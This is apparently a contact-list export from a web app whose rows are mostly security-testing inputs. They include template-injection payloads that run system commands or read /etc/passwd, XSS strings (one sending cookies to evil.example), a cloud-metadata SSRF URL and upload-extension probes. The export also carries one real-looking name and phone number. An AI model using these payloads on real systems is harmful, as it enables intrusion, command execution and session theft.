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# Firstname Middle
Name

Surname Mobile Telephone Email Fax Company Job Title Address Web
Address

1 XwWfNEab   
 

XwWfNEab   
 

XwWfNEab   
 

     
555-666-060
6     

testing@exa
mple.com     

     Testing     Mr.     3137 Laguna
Street     

http://www.e
xample.com  
  

2 XwWfNEab   
 

XwWfNEab   
 

XwWfNEab   
 

     
555-666-060
6     

testing@exa
mple.com     

     Testing     Mr.     3137 Laguna
Street     

http://www.e
xample.com  
  

3 UploadV44   
 

     Direct     +256700000
099     

     
v44_177604
3335@test.c
om     

                         

4 PicTest_177
6043019     

     V43Detect    +256700000
099     

     
pic43_17760
43019@test.
com     

                         

5 SSRF_1776
042794     

     Test     +256700000
099     

     
ssrf_177604
2794@test.c
om     

                    http://169.25
4.169.254/lat
est/meta-dat
a/     

6 ProofV42_17
76042752     

     RCECheck   
 

+256700000
099     

     
proof42_177
6042752@te
st.com     
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7 Polyglot_177
6042323     

     JpegPhp     +256700000
099     

     
polyglot_177
6042323@te
st.com     

                         

8 DirectUpload
2_17760423
23     

     WithPhtml     +256700000
099     

     
direct2_1776
042323@tes
t.com     

                         

9 DirectUpload
_177604232
3     

     NoMetadata 
   

+256700000
099     

     
direct_17760
42323@test.
com     

                         

10 ${T(java.lang
.Runtime).ge
tRuntime().e
xec(&quot;id
&quot;)}     

     SSTI_spel    +256700000
099     

     
ssti_spel_17
76042006@t
est.com     

                         

11           SSTI_erb     +256700000
099     

     
ssti_erb_177
6042006@te
st.com     

                         

12 #{7*7}          SSTI_freema
rker     

+256700000
099     

     
ssti_freemar
ker_1776042
006@test.co
m     
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13 ${7*7}          SSTI_el_basi
c     

+256700000
099     

     
ssti_el_basic
_177604200
6@test.com  
  

                         

14 {php}echo
&quot;RCE&
quot;;{/php}   
 

     SSTI_smarty
_php     

+256700000
099     

     
ssti_smarty_
php_177604
2006@test.c
om     

                         

15 {{7*7}}          SSTI_twig_b
asic     

+256700000
099     

     
ssti_twig_ba
sic_1776042
006@test.co
m     

                         

16 MetaTest_17
76042006     

     empty tmp    +256700000
099     

     
meta_17760
42006@test.
com     

                         

17 MetaTest_17
76042006     

     null byte     +256700000
099     

     
meta_17760
42006@test.
com     

                         

18 MetaTest_17
76042006     

     traversal
/etc/passw    

+256700000
099     

     
meta_17760
42006@test.
com     
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19 FileTest3_v3
9_17760414
00     

     ProofRCE     +256700000
099     

     
ft3_v39_177
6041400@te
st.com     

                         

20 RCETestsht
ml     

     BugBounty   
 

+256700000
000     

     
testshtml@te
st.com     

                         

21 RCETestinc  
  

     BugBounty   
 

+256700000
000     

     
testinc@test.
com     

                         

22 RCETestphp
7     

     BugBounty   
 

+256700000
000     

     
testphp7@te
st.com     

                         

23 RCETestphp
s     

     BugBounty   
 

+256700000
000     

     
testphps@te
st.com     

                         

24 RCETestpha
r     

     BugBounty   
 

+256700000
000     

     
testphar@te
st.com     

                         

25 RCETestphp
5     

     BugBounty   
 

+256700000
000     

     
testphp5@te
st.com     

                         

26 RCETestphp
    

     BugBounty   
 

+256700000
000     

     
testphp@test
.com     

                         

27 RCETestpht
ml     

     BugBounty   
 

+256700000
000     

     
testphtml@te
st.com     
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28 TestXSS          BugBounty   
 

+256700000
000     +256700000

001     
test@test.co
m     

                         

29 RealJPEG_jc
soyy     

     ImgTest     0700000005 
   

     
jpeg_jcsoyy
@test.com    

                         

30 Polyglot_jcso
yy     

     avatar.jpg     0700000004 
   

     
poly_jcsoyy
@test.com    

                         

31 Polyglot_jcso
yy     

     avatar.gif     0700000004 
   

     
poly_jcsoyy
@test.com    

                         

32 &quot;/&gt;n
ew
Image().src=
&quot;https://
evil.example/
byljas?c=&q
uot;+docume
nt.cookie     

     CookieSteal_
byljas     

0700000003 
   

     
steal_byljas
@test.com    

                         

33 Upload_gsm
ukg     

     avatar_gsmu
kg     

0700000002 
   

     
upload_gsm
ukg@test.co
m     
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34 Upload_gsm
ukg     

     avatar_gsmu
kg     

0700000002 
   

     
upload_gsm
ukg@test.co
m     

                         

35 Upload_gsm
ukg     

     avatar_gsmu
kg     

0700000002 
   

     
upload_gsm
ukg@test.co
m     

                         

36 Upload_gsm
ukg     

     avatar_gsmu
kg     

0700000002 
   

     
upload_gsm
ukg@test.co
m     

                         

37 Upload_gsm
ukg     

     avatar_gsmu
kg     

0700000002 
   

     
upload_gsm
ukg@test.co
m     

                         

38 &quot;
onfocus=&qu
ot;alert(docu
ment.domain
)&quot;
autofocus
tabindex=&q
uot;1&quot;
x=&quot;     

     clvwac_attr   
 

0700000001 
   

     
clvwac_attr
@test.com    
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39 &quot;
onerror=&qu
ot;alert(1)&q
uot;
src=&quot;x  
  

     Vclvwac_4    0700000001 
   

     
clvwac_4@t
est.com     

                         

40 &quot;/&gt;   
 

     Vclvwac_3    0700000001 
   

     
clvwac_3@t
est.com     

                         

41 &quot;
autofocus
onfocus=&qu
ot;alert(docu
ment.domain
)&quot;
tabindex=&q
uot;1&quot;
x=&quot;     

     Vclvwac_2    0700000001 
   

     
clvwac_2@t
est.com     

                         

42 &quot;/&gt;d
ocument.writ
e(&quot;clvw
ac_DOMXSS
&quot;)     

     Vclvwac_1    0700000001 
   

     
clvwac_1@t
est.com     

                         

43      Test     XSSProof     2567001113
33     

     
proof@test.c
om     

                         

44      Test     XSSProof     2567001113
33     

     
proof@test.c
om     
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45      Test     XSSProof     2567001113
33     

     
proof@test.c
om     

                         

46      Test     XSSProof     2567001113
33     

     
proof@test.c
om     

                         

47      Test     XSSProof     2567001113
33     

     
proof@test.c
om     

                         

48      Test     XSSProof     2567001113
33     

     
proof@test.c
om     

                         

49 {self::getStre
amVariable(
&quot;file:///e
tc/passwd&q
uot;)}     

     SSTI_stream
-var     

                                        

50 {if
system(&quo
t;id&quot;)}{/i
f}     

     SSTI_if-syste
m     

                                        

51 ${7*7}          SSTI_math-d
ollar     

                                        

52 {literal}{/litera
l}     

     SSTI_literal-
php     

                                        

53 {{7*7}}          SSTI_math-d
ouble     
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54 {math
equation=&q
uot;7*7&quot
;}     

     SSTI_math-e
quation     

                                        

55 {include
file=&quot;/et
c/passwd&qu
ot;}     

     SSTI_include
-file     

                                        

56 {fetch
file=&quot;/et
c/passwd&qu
ot;}     

     SSTI_fetch-fi
le     

                                        

57 {Smarty_Inte
rnal_Write_Fi
le::writeFile($
SCRIPT_NA
ME,&quot;S
STI_PROVE
N&quot;,self:
:clearCompil
edTemplate()
)}     

     SSTI_write-fil
e     

                                        

58 {php}echo
&quot;SSTI_
CONFIRME
D&quot;;{/ph
p}     

     SSTI_php-ta
g     
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59 {system(&qu
ot;id&quot;)} 
   

     SSTI_system
-call     

                                        

60 {$smarty.ver
sion}     

     SSTI_versio
n-check     

                                        

61 SecurityTest 
   

BB     Proof                                             

62 SecurityTest 
   

BB     Proof                                             

63 SecurityTest 
   

BB     Proof                                             

64 SecurityTest 
   

BB     Proof                                             

65 SecurityTest 
   

BB     Proof                                             

66 SecurityTest 
   

BB     Proof                                             

67 SecurityTest 
   

BB     Proof                                             

68 SecurityTest 
   

BB     Proof                                             

69 SecurityTest 
   

BB     Proof                                             

70 ddasa          ddas                                             
71 Brian          Ajuna

Newton     
+27 (0)
782760115   
 

                    Manager               
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